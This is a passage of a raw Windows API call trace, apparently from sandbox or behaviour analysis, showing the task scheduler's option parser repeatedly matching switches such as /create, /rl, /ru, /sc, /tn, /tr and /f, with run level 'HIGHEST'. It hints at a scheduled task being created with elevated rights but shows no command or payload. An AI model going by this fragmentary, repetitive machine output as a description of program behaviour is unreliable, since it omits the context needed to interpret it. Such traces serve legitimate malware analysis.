(lpString="|du|") returned 4 [0145.980] lstrlenW (lpString="|rl|") returned 4 [0145.980] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0145.980] SetLastError (dwErrCode=0x490) [0145.980] lstrlenW (lpString="ri") returned 2 [0145.980] lstrlenW (lpString="ri") returned 2 [0145.980] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.980] lstrlenW (lpString="rl") returned 2 [0145.980] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.980] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|ri|") returned 4 [0145.980] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|rl|") returned 4 [0145.980] lstrlenW (lpString="|ri|") returned 4 [0145.981] lstrlenW (lpString="|rl|") returned 4 [0145.981] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0145.981] SetLastError (dwErrCode=0x490) [0145.981] lstrlenW (lpString="z") returned 1 [0145.981] lstrlenW (lpString="z") returned 1 [0145.981] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.981] lstrlenW (lpString="rl") returned 2 [0145.981] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.981] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|z|") returned 3 [0145.981] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|rl|") returned 4 [0145.981] lstrlenW (lpString="|z|") returned 3 [0145.981] lstrlenW (lpString="|rl|") returned 4 [0145.981] SetLastError (dwErrCode=0x490) [0145.981] lstrlenW (lpString="f") returned 1 [0145.981] lstrlenW (lpString="f") returned 1 [0145.981] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.981] lstrlenW (lpString="rl") returned 2 [0145.981] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.981] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|f|") returned 3 [0145.981] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|rl|") returned 4 [0145.981] lstrlenW (lpString="|f|") returned 3 [0145.981] lstrlenW (lpString="|rl|") returned 4 [0145.981] SetLastError (dwErrCode=0x490) [0145.981] lstrlenW (lpString="v1") returned 2 [0145.981] lstrlenW (lpString="v1") returned 2 [0145.981] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.982] lstrlenW (lpString="rl") returned 2 [0145.982] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.982] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|v1|") returned 4 [0145.982] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|rl|") returned 4 [0145.982] lstrlenW (lpString="|v1|") returned 4 [0145.982] lstrlenW (lpString="|rl|") returned 4 [0145.982] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0145.982] SetLastError (dwErrCode=0x490) [0145.982] lstrlenW (lpString="xml") returned 3 [0145.982] lstrlenW (lpString="xml") returned 3 [0145.982] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.982] lstrlenW (lpString="rl") returned 2 [0145.982] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.982] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x6, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|xml|") returned 5 [0145.982] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|rl|") returned 4 [0145.982] lstrlenW (lpString="|xml|") returned 5 [0145.982] lstrlenW (lpString="|rl|") returned 4 [0145.982] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0145.982] SetLastError (dwErrCode=0x490) [0145.982] lstrlenW (lpString="ec") returned 2 [0145.982] lstrlenW (lpString="ec") returned 2 [0145.982] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.982] lstrlenW (lpString="rl") returned 2 [0145.982] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.982] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|ec|") returned 4 [0145.983] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|rl|") returned 4 [0145.983] lstrlenW (lpString="|ec|") returned 4 [0145.983] lstrlenW (lpString="|rl|") returned 4 [0145.983] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0145.983] SetLastError (dwErrCode=0x490) [0145.983] lstrlenW (lpString="rl") returned 2 [0145.983] lstrlenW (lpString="rl") returned 2 [0145.983] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.983] lstrlenW (lpString="rl") returned 2 [0145.983] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.983] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|rl|") returned 4 [0145.983] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|rl|") returned 4 [0145.983] lstrlenW (lpString="|rl|") returned 4 [0145.983] lstrlenW (lpString="|rl|") returned 4 [0145.983] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0145.983] SetLastError (dwErrCode=0x0) [0145.983] SetLastError (dwErrCode=0x0) [0145.983] lstrlenW (lpString="HIGHEST") returned 7 [0145.983] lstrlenW (lpString="-/") returned 2 [0145.983] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0145.983] SetLastError (dwErrCode=0x490) [0145.983] SetLastError (dwErrCode=0x490) [0145.983] SetLastError (dwErrCode=0x0) [0145.983] lstrlenW (lpString="HIGHEST") returned 7 [0145.983] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0145.983] SetLastError (dwErrCode=0x490) [0145.983] SetLastError (dwErrCode=0x0) [0145.983] _memicmp (_Buf1=0x2bd570, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.984] lstrlenW (lpString="HIGHEST") returned 7 [0145.984] lstrlenW (lpString="HIGHEST") returned 7 [0145.984] lstrlenW (lpString=" \x09") returned 2 [0145.984] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0145.984] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0145.984] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0145.984] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0145.984] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0145.984] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0145.984] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0145.984] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0145.984] GetLastError () returned 0x0 [0145.984] lstrlenW (lpString="HIGHEST") returned 7 [0145.984] lstrlenW (lpString="HIGHEST") returned 7 [0145.984] SetLastError (dwErrCode=0x0) [0145.984] SetLastError (dwErrCode=0x0) [0145.984] lstrlenW (lpString="/f") returned 2 [0145.984] lstrlenW (lpString="-/") returned 2 [0145.984] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0145.984] lstrlenW (lpString="create") returned 6 [0145.984] lstrlenW (lpString="create") returned 6 [0145.984] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.984] lstrlenW (lpString="f") returned 1 [0145.984] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.984] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x9, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|create|") returned 8 [0145.984] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|f|") returned 3 [0145.984] lstrlenW (lpString="|create|") returned 8 [0145.984] lstrlenW (lpString="|f|") returned 3 [0145.985] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0145.985] SetLastError (dwErrCode=0x490) [0145.985] lstrlenW (lpString="?") returned 1 [0145.985] lstrlenW (lpString="?") returned 1 [0145.985] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.985] lstrlenW (lpString="f") returned 1 [0145.985] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.985] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|?|") returned 3 [0145.985] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|f|") returned 3 [0145.985] lstrlenW (lpString="|?|") returned 3 [0145.985] lstrlenW (lpString="|f|") returned 3 [0145.985] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0145.985] SetLastError (dwErrCode=0x490) [0145.985] lstrlenW (lpString="s") returned 1 [0145.985] lstrlenW (lpString="s") returned 1 [0145.985] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.985] lstrlenW (lpString="f") returned 1 [0145.985] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.985] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|s|") returned 3 [0145.985] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|f|") returned 3 [0145.985] lstrlenW (lpString="|s|") returned 3 [0145.985] lstrlenW (lpString="|f|") returned 3 [0145.985] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0145.985] SetLastError (dwErrCode=0x490) [0145.985] lstrlenW (lpString="u") returned 1 [0145.985] lstrlenW (lpString="u") returned 1 [0145.985] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.986] lstrlenW (lpString="f") returned 1 [0145.986] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.986] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|u|") returned 3 [0145.986] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|f|") returned 3 [0145.986] lstrlenW (lpString="|u|") returned 3 [0145.986] lstrlenW (lpString="|f|") returned 3 [0145.986] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0145.986] SetLastError (dwErrCode=0x490) [0145.986] lstrlenW (lpString="p") returned 1 [0145.986] lstrlenW (lpString="p") returned 1 [0145.986] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.986] lstrlenW (lpString="f") returned 1 [0145.986] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.986] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|p|") returned 3 [0145.986] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|f|") returned 3 [0145.986] lstrlenW (lpString="|p|") returned 3 [0145.986] lstrlenW (lpString="|f|") returned 3 [0145.986] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0145.986] SetLastError (dwErrCode=0x490) [0145.986] lstrlenW (lpString="ru") returned 2 [0145.986] lstrlenW (lpString="ru") returned 2 [0145.986] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.986] lstrlenW (lpString="f") returned 1 [0145.986] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.986] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|ru|") returned 4 [0145.986] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|f|") returned 3 [0145.986] lstrlenW (lpString="|ru|") returned 4 [0145.987] lstrlenW (lpString="|f|") returned 3 [0145.987] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0145.987] SetLastError (dwErrCode=0x490) [0145.987] lstrlenW (lpString="rp") returned 2 [0145.987] lstrlenW (lpString="rp") returned 2 [0145.987] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.987] lstrlenW (lpString="f") returned 1 [0145.987] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.987] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|rp|") returned 4 [0145.987] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|f|") returned 3 [0145.987] lstrlenW (lpString="|rp|") returned 4 [0145.987] lstrlenW (lpString="|f|") returned 3 [0145.987] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0145.987] SetLastError (dwErrCode=0x490) [0145.987] lstrlenW (lpString="sc") returned 2 [0145.987] lstrlenW (lpString="sc") returned 2 [0145.987] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.987] lstrlenW (lpString="f") returned 1 [0145.987] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.987] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|sc|") returned 4 [0145.987] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|f|") returned 3 [0145.987] lstrlenW (lpString="|sc|") returned 4 [0145.987] lstrlenW (lpString="|f|") returned 3 [0145.987] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0145.987] SetLastError (dwErrCode=0x490) [0145.987] lstrlenW (lpString="mo") returned 2 [0145.987] lstrlenW (lpString="mo") returned 2 [0145.987] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.988] lstrlenW (lpString="f") returned 1 [0145.988] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.988] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|mo|") returned 4 [0145.988] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|f|") returned 3 [0145.988] lstrlenW (lpString="|mo|") returned 4 [0145.988] lstrlenW (lpString="|f|") returned 3 [0145.988] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0145.988] SetLastError (dwErrCode=0x490) [0145.988] lstrlenW (lpString="d") returned 1 [0145.988] lstrlenW (lpString="d") returned 1 [0145.988] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.988] lstrlenW (lpString="f") returned 1 [0145.988] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.988] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|d|") returned 3 [0145.988] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|f|") returned 3 [0145.988] lstrlenW (lpString="|d|") returned 3 [0145.988] lstrlenW (lpString="|f|") returned 3 [0145.988] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0145.988] SetLastError (dwErrCode=0x490) [0145.988] lstrlenW (lpString="m") returned 1 [0145.988] lstrlenW (lpString="m") returned 1 [0145.988] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.988] lstrlenW (lpString="f") returned 1 [0145.988] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.988] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|m|") returned 3 [0145.988] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|f|") returned 3 [0145.988] lstrlenW (lpString="|m|") returned 3 [0145.989] lstrlenW (lpString="|f|") returned 3 [0145.989] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0145.989] SetLastError (dwErrCode=0x490) [0145.989] lstrlenW (lpString="i") returned 1 [0145.989] lstrlenW (lpString="i") returned 1 [0145.989] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.989] lstrlenW (lpString="f") returned 1 [0145.989] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.989] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|i|") returned 3 [0145.989] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|f|") returned 3 [0145.989] lstrlenW (lpString="|i|") returned 3 [0145.989] lstrlenW (lpString="|f|") returned 3 [0145.989] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0145.989] SetLastError (dwErrCode=0x490) [0145.989] lstrlenW (lpString="tn") returned 2 [0145.989] lstrlenW (lpString="tn") returned 2 [0145.989] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.989] lstrlenW (lpString="f") returned 1 [0145.989] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.989] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|tn|") returned 4 [0145.989] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|f|") returned 3 [0145.989] lstrlenW (lpString="|tn|") returned 4 [0145.989] lstrlenW (lpString="|f|") returned 3 [0145.989] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0145.989] SetLastError (dwErrCode=0x490) [0145.989] lstrlenW (lpString="tr") returned 2 [0145.989] lstrlenW (lpString="tr") returned 2 [0145.989] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.990] lstrlenW (lpString="f") returned 1 [0145.990] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.990] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|tr|") returned 4 [0145.990] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|f|") returned 3 [0145.990] lstrlenW (lpString="|tr|") returned 4 [0145.990] lstrlenW (lpString="|f|") returned 3 [0145.990] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0145.990] SetLastError (dwErrCode=0x490) [0145.990] lstrlenW (lpString="st") returned 2 [0145.990] lstrlenW (lpString="st") returned 2 [0145.990] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.990] lstrlenW (lpString="f") returned 1 [0145.990] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.990] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|st|") returned 4 [0145.990] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|f|") returned 3 [0145.990] lstrlenW (lpString="|st|") returned 4 [0145.990] lstrlenW (lpString="|f|") returned 3 [0145.990] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0145.990] SetLastError (dwErrCode=0x490) [0145.990] lstrlenW (lpString="sd") returned 2 [0145.990] lstrlenW (lpString="sd") returned 2 [0145.990] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.990] lstrlenW (lpString="f") returned 1 [0145.990] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.990] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|sd|") returned 4 [0145.990] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|f|") returned 3 [0145.990] lstrlenW (lpString="|sd|") returned 4 [0145.991] lstrlenW (lpString="|f|") returned 3 [0145.991] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0145.991] SetLastError (dwErrCode=0x490) [0145.991] lstrlenW (lpString="ed") returned 2 [0145.991] lstrlenW (lpString="ed") returned 2 [0145.991] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.991] lstrlenW (lpString="f") returned 1 [0145.991] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.991] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|ed|") returned 4 [0145.991] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|f|") returned 3 [0145.991] lstrlenW (lpString="|ed|") returned 4 [0145.991] lstrlenW (lpString="|f|") returned 3 [0145.991] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0145.991] SetLastError (dwErrCode=0x490) [0145.991] lstrlenW (lpString="it") returned 2 [0145.991] lstrlenW (lpString="it") returned 2 [0145.991] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.991] lstrlenW (lpString="f") returned 1 [0145.991] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.991] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|it|") returned 4 [0145.991] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|f|") returned 3 [0145.991] lstrlenW (lpString="|it|") returned 4 [0145.991] lstrlenW (lpString="|f|") returned 3 [0145.991] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0145.991] SetLastError (dwErrCode=0x490) [0145.991] lstrlenW (lpString="et") returned 2 [0145.991] lstrlenW (lpString="et") returned 2 [0145.991] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.992] lstrlenW (lpString="f") returned 1 [0145.992] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.992] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|et|") returned 4 [0145.992] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|f|") returned 3 [0145.992] lstrlenW (lpString="|et|") returned 4 [0145.992] lstrlenW (lpString="|f|") returned 3 [0145.992] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0145.992] SetLastError (dwErrCode=0x490) [0145.992] lstrlenW (lpString="k") returned 1 [0145.992] lstrlenW (lpString="k") returned 1 [0145.992] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.992] lstrlenW (lpString="f") returned 1 [0145.992] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.992] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|k|") returned 3 [0145.992] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|f|") returned 3 [0145.992] lstrlenW (lpString="|k|") returned 3 [0145.992] lstrlenW (lpString="|f|") returned 3 [0145.992] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0145.992] SetLastError (dwErrCode=0x490) [0145.992] lstrlenW (lpString="du") returned 2 [0145.992] lstrlenW (lpString="du") returned 2 [0145.992] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.992] lstrlenW (lpString="f") returned 1 [0145.992] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.992] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|du|") returned 4 [0145.992] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|f|") returned 3 [0145.993] lstrlenW (lpString="|du|") returned 4 [0145.993] lstrlenW (lpString="|f|") returned 3 [0145.993] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0145.993] SetLastError (dwErrCode=0x490) [0145.993] lstrlenW (lpString="ri") returned 2 [0145.993] lstrlenW (lpString="ri") returned 2 [0145.993] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.993] lstrlenW (lpString="f") returned 1 [0145.993] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.993] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x5, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|ri|") returned 4 [0145.993] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|f|") returned 3 [0145.993] lstrlenW (lpString="|ri|") returned 4 [0145.993] lstrlenW (lpString="|f|") returned 3 [0145.993] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0145.993] SetLastError (dwErrCode=0x490) [0145.993] lstrlenW (lpString="z") returned 1 [0145.993] lstrlenW (lpString="z") returned 1 [0145.993] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.993] lstrlenW (lpString="f") returned 1 [0145.993] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.993] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|z|") returned 3 [0145.993] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|f|") returned 3 [0145.993] lstrlenW (lpString="|z|") returned 3 [0145.993] lstrlenW (lpString="|f|") returned 3 [0145.993] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0145.993] SetLastError (dwErrCode=0x490) [0145.993] lstrlenW (lpString="f") returned 1 [0145.994] lstrlenW (lpString="f") returned 1 [0145.994] _memicmp (_Buf1=0x2bc210, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.994] lstrlenW (lpString="f") returned 1 [0145.994] _memicmp (_Buf1=0x2bc250, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0145.994] _vsnwprintf (in: _Buffer=0x2bc290, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|f|") returned 3 [0145.994] _vsnwprintf (in: _Buffer=0x2bc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0xfc308 | out: _Buffer="|f|") returned 3 [0145.994] lstrlenW (lpString="|f|") returned 3 [0145.994] lstrlenW (lpString="|f|") returned 3 [0145.994] 